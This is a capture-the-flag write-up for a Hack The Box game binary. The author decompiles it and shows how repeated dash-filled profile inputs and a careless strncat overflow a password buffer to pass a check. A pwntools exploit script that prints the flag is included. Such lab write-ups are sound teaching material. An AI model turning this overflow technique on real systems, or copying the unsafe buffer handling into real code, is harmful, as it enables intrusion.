If you are not strong enough to beat the boss, you need to find another way to win the game!

Category: Misc

Solver: t0b1

Writeup

In this challenge we get a binary. As the description says, we need to find another way to win the game!. Running the binary shows that its a little game. At first we can choose between two game modes. Obviously the Izi! mode is not available ;).

Choosing the hard mode shows some statistics about our character and another menu. This time we can create a profile, play the game, claim or prize or exit. Claiming the prize looks interesting, but yields No prize for you! Try again! right now.

At this point we fire up Ghidra on the binary and try to figure out what determines our price. We find the following prize method.

void prize(void)

{
    long lVar1;
    long in_FS_OFFSET;
    int local_14;
    
    lVar1 = *(long *)(in_FS_OFFSET + 0x28);
    bf = bf + -1;
    check_bf();
    local_14 = 0;
    while (local_14 < 8) {
        flag = (uint)(*(char *)((long)&temp_pass + (long)local_14) != passw[local_14 + 0xf8]);
        local_14 = local_14 + 1;
    }
    if (flag != 0) {
        fwrite(&DAT_00101728,1,0x3d,stdout);
        system("cat flag.txt");
                                        /* WARNING: Subroutine does not return */
        exit(0x122);
    }
    fwrite("No prize for you!\nTry again!\n",1,0x1d,stderr);
    if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                                        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
}

The system("cat flag.txt"); is where we want to get to. To get there, the flag variable has to be 1. In the lines above we see that the flag variable is set. A loop is iterating over some temp_pass array and checking if it is equal to the last 8 characters in the passw array. As flag is always reassigned, only the last run of the loop is interesting to us. For the flag to be 1, the last character of the temp_pass has to be different to the last character of the passw.

We need to find out, what the temp_pass and passw array are and how they get modified. The temp_pass array is 8 bytes long, the passw array is 256 bytes long.

Looking through the main function, we find that the intro function is called in the beginning. It contains the following lines.

__fd = open("/dev/urandom",0);
if (__fd == -1) {
    fwrite("Could not open \"/dev/urandom, exiting..\"\n",1,0x29,stderr);
                    /* WARNING: Subroutine does not return */
    exit(0x100);
}
read(__fd,passw + 0xf8,8);
local_20 = 0;
while (local_20 < 8) {
    *(undefined1 *)((long)&temp_pass + (long)local_20) = passw[local_20 + 0xf8];
    local_20 = local_20 + 1;
}

The program reads 8 bytes from /dev/urandom into passw + 0xf8 which is essentially the last 8 bytes of passw. Afterwards those bytes are stored in the temp_pass array as well. The temp_pass is never written again. So it is used as some sort of sanity check to prevent us from getting the flag.

Now we need to know where we can influence the content of passw. This can only be done in the create_profile method which looks as follows.

void create_profile(void) {
    long lVar1;
    int iVar2;
    long lVar3;
    char *__src;
    long in_FS_OFFSET;
    char *local_30;
    size_t local_28;
    
    lVar1 = *(long *)(in_FS_OFFSET + 0x28);
    fwrite("Your Super name must start with: Super-\n",1,0x28,stdout);
    read(0,passw,0xd);
    iVar2 = strncmp(passw,"Super-",6);
    if (iVar2 == 0) {
        local_30 = passw + 5;
        while (*local_30 == '-') {
            local_30 = local_30 + 1;
        }
        *local_30 = '\0';
        fwrite(&DAT_00101528,1,0x4f,stdout);
        lVar3 = read_long();
        if (lVar3 == 2) {
            fwrite("\nHow many Attack points you want to add? Max 120 pts!\n> ",1,0x38,stdout);
            local_28 = read_long();
            attack = attack + (int)local_28;
        }
        else {
            if (lVar3 == 3) {
                fwrite("\nHow many Agility points you want to add? Max 120 pts!\n> ",1,0x39,stdout);
                local_28 = read_long();
                speed = speed + (int)local_28;
            }
            else {
                if (lVar3 != 1) {
                    fwrite("\nInvalid Option!\n",1,0x11,stderr);
                    goto LAB_00100eac;
                }
                fwrite("\nHow many Health points you want to add? Max 120 pts!\n> ",1,0x38,stdout);
                local_28 = read_long();
                hp = hp + (int)local_28;
            }
        }
        if (((long)local_28 < 0x79) && (0 < (long)local_28)) {
            fwrite("\nInsert a catch-phrase for your character!\n> ",1,0x2d,stdout);
            __src = (char *)malloc(local_28);
            read(0,__src,local_28);
            strncat(passw,__src,0x100);
        }
        else {
            fwrite("\nYou do not have enough points!\n",1,0x20,stderr);
        }
    }
    else {
        fwrite("\nInvalid name!\n\n",1,0x10,stderr);
    }
LAB_00100eac:
    if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                                        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
}

First we can enter our super name. This can be 13 characters long and must start with Super- as checked by strncmp to not get the Invalid name! output. The name is saved in the beginning of the passw array. The program checks our name for - and sets the byte after our last - to the null byte. Inputting the name Super-------- will thus results in the passw array to start with Super--------\0. The loop that iterates over the - is not bound by any length. It simply follows all - and places a \0 after the end. This might be unsafe.

We can now choose whether we want to increase our attack, health or agility points and by what amount we want them to increase. If that amount is lower than 121 we are allowed to enter a catch phrase for our super character. The catch phrase we enter can be as long as our amount of points we chose before. The phrase we entered will be appended to the passw as well using strncat. The strange thing here is, that strncat is called with 0x100 which means that it will read up to 256 byte from the __src and appends it to the passw array.

Sadly this won’t help us, as memory allocated by malloc always has some padding which is mostly 0 and strncat would stop there.

An important thing to notice is the following, extracted from the manpage of strncat:

The strcat() function appends the src string to the dest string, overwriting the terminating null byte (’\0’) at the end of dest, and then adds a terminating null byte.

strncat will always overwrite the terminating null byte of our passw and append another null byte after the string. That means, if we enter the catch phrase abcde, the passw array will look like Super--------abcde\0.

After entering our catch phrase, we are taken back to the main menu and a credit is subtracted. We can now choose to create a profile again. Furthermore, the passw array is not resetted, the program just overwrites our contents.

In the second run of create_profile, our passw array already contains the string Super--------abcde\0. Entering our super name again results in Super--------abcde\0. Now the while loop iterates over all - and write the null byte at the end, we get Super--------\0bcde\0. If we now enter a catch phrase, it will again be added to the array after the first null byte.

However, if our catch phrase entered previously only consists of - instead of abcde, the while loop will iterate over all of them and append the null byte at the end. Our passw array looks like Super-------------\0. The strncat function will now append our catch phrase way more inside the array than before!

As we have four credits, we can run the create_profile method a maximum of four times. Each time we can append up to 120 - to our passw array. The passw array is 256 bytes long. That is enough to overwrite the last byte!

Our super name is already 13 bytes long. That means we need to overwrite 243 bytes in order to change the last byte. That means if we create a new profile three times, always enter our super name Super-------- and a catch phrase of 81 - we must have overwritten the last byte and are able to claim our price! Afterwards we simple choose to claim our prize and we get the flag!

We can automate that idea using python and the pwntools library. The following script solves the task for us.

#!/usr/bin/env python

from pwn import *

local = False
proc = process('./arcade') if local else remote('docker.hackthebox.eu', 31960)

print(proc.recvuntil('> '))
proc.send('2\n') # mode 
print(proc.recvuntil('> '))
for i in range(3): # 3 * 81 = 243
    proc.send('1\n') # create profile 1
    print((proc.recvuntil('Your Super name must start with: Super-\n')))
    proc.send('Super--------') # name
    print(proc.recvuntil('> '))
    proc.send('1\n') # set health
    print(proc.recvuntil('> '))
    proc.send('81\n') # we want to input 81 chars
    print(proc.recvuntil('> '))
    proc.send(81 * '-') # input 81 minuses
    print(proc.recvuntil('> '))
proc.send('3\n')
print(proc.recvall())

And we get the flag: HTB{1ts_4_m3_fl4gioo!}

flag